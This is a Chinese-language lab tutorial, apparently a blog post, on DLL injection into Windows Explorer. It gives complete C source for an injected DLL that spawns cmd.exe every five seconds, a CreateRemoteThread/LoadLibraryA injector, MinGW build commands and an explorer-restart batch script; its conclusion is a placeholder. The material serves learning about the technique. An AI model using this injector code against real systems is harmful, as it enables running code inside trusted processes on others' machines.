【DLL Injection】注入攻擊 - 01


前言

這篇文章紀錄關於 DLL Injection 的攻擊手法,實際建一個惡意程式來理解過程。

在本練習中,我們將針對 Explorer.exe ( 檔案總管 ) ,進行注入並打開 CMD 的簡單行為。
⚙️ Lab Environment:
  • Windows Server 2025
  • Docker ( Build exe & dll ) , 非必須


1️⃣ 建立 injected.dll

  • 建立 injected.c 檔案
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <stdio.h>

DWORD WINAPI ThreadFunc(LPVOID lpParam)
{
MessageBoxA(NULL, "Thread started inside explorer.exe", "Debug", MB_OK);

while (1)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);

si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOWNORMAL;

ZeroMemory(&pi, sizeof(pi));

BOOL ret = CreateProcessA(
"C:\\Windows\\System32\\cmd.exe",
"/K echo HelloFromDLL && pause",
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
);

if (!ret)
{
DWORD err = GetLastError();
char buf[256];
wsprintfA(buf, "CreateProcess failed, error: %lu", err);
MessageBoxA(NULL, buf, "Error in ThreadFunc", MB_OK | MB_ICONERROR);
}
else
{
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}

Sleep(5000);
}
return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
MessageBoxA(NULL, "DLL_PROCESS_ATTACH in explorer.exe", "Debug", MB_OK);

DisableThreadLibraryCalls(hModule);
CreateThread(NULL, 0, ThreadFunc, NULL, 0, NULL);
}
return TRUE;
}

2️⃣ 建立 injector.exe

  • 建立 injector.c 檔案
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
// injector.c
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>

// 尋找指定進程名稱,回傳 PID (0 表示找不到)
DWORD FindProcessId(const char* processName)
{
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return 0;

DWORD pid = 0;
if (Process32First(hSnapshot, &pe))
{
do
{
// 不分大小寫比對可執行檔名稱
if (_stricmp(pe.szExeFile, processName) == 0)
{
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe));
}

CloseHandle(hSnapshot);
return pid;
}

int main()
{
// 1. 避免亂碼輸出:將輸出編碼設為 UTF-8
SetConsoleOutputCP(CP_UTF8);

// 2. 檢查 explorer.exe 是否已存在
DWORD pid = FindProcessId("explorer.exe");
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));

if (pid == 0)
{
// 若沒找到,啟動新的 explorer.exe
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);

// 參考記憶點:若想最小化啟動,可設置:
// si.dwFlags = STARTF_USESHOWWINDOW;
// si.wShowWindow = SW_SHOWMINIMIZED;

if (!CreateProcessA(
"C:\\Windows\\explorer.exe",
NULL,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
))
{
DWORD err = GetLastError();
printf("無法啟動 explorer.exe,錯誤碼: %lu\n", err);
return 1;
}

// 取得新的 explorer.exe PID
pid = pi.dwProcessId;
// 稍作等待讓 explorer.exe 初始化
Sleep(1000);
}

// 3. 打開 explorer.exe 進程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess)
{
DWORD err = GetLastError();
printf("OpenProcess 失敗,錯誤碼: %lu\n", err);
return 1;
}

// 4. 準備要注入的 DLL 路徑
const char* dllPath = "injected.dll"; // 若不在同一目錄,可用絕對路徑
size_t dllPathSize = strlen(dllPath) + 1;

// 在目標進程中分配記憶體
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, dllPathSize, MEM_COMMIT, PAGE_READWRITE);
if (!remoteMemory)
{
DWORD err = GetLastError();
printf("VirtualAllocEx 失敗,錯誤碼: %lu\n", err);
CloseHandle(hProcess);
return 1;
}

// 寫入 DLL 路徑
if (!WriteProcessMemory(hProcess, remoteMemory, dllPath, dllPathSize, NULL))
{
DWORD err = GetLastError();
printf("WriteProcessMemory 失敗,錯誤碼: %lu\n", err);
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}

// 5. 建立遠端執行緒,以 LoadLibraryA 載入 injected.dll
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)LoadLibraryA,
remoteMemory,
0,
NULL
);

if (!hThread)
{
DWORD err = GetLastError();
printf("CreateRemoteThread 失敗,錯誤碼: %lu\n", err);
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}

printf("成功注入到 explorer.exe (PID=%lu)\n", pid);

WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);

// 若剛才有新建 explorer.exe,就等它結束 (可依需求保留或移除)
if (pi.hProcess)
{
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}

return 0;
}

3️⃣ 編譯檔案



  • 使用 Docker 指令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 準備階段

# 使用 Docker 對該資料進行映射,映射後資料夾全部內容都會被拉進容器內
docker run --rm -it -v .:/work -w /work gcc:latest bash

# 在容器內安裝 MinGW
apt update && apt install -y mingw-w64

# 編譯階段

# 對 injected.c 進行編譯,生成出 DLL
x86_64-w64-mingw32-gcc -shared -o injected.dll injected.c

# 對 injector.c 進行編譯,生成出 EXE
x86_64-w64-mingw32-gcc injector.c -o injector.exe -mwindows

  • 避免當機,提供 Restart 的簡易腳本,建立 bat 檔案運行即可
1
2
3
4
5
6
7
8
9
@echo off
REM 關閉 explorer.exe(強制結束)
taskkill /f /im explorer.exe

REM 等待 2 秒(可依需求調整)
timeout /t 2 /nobreak

REM 重新啟動 explorer.exe
start explorer.exe

4️⃣ 運行結果

  • 運行後,每隔 5 秒就會產生出一個 CMD


  • 可以看到由 explorer.exe 帶起的 CMD




💡 結論

  • 99999


🔗 參考來源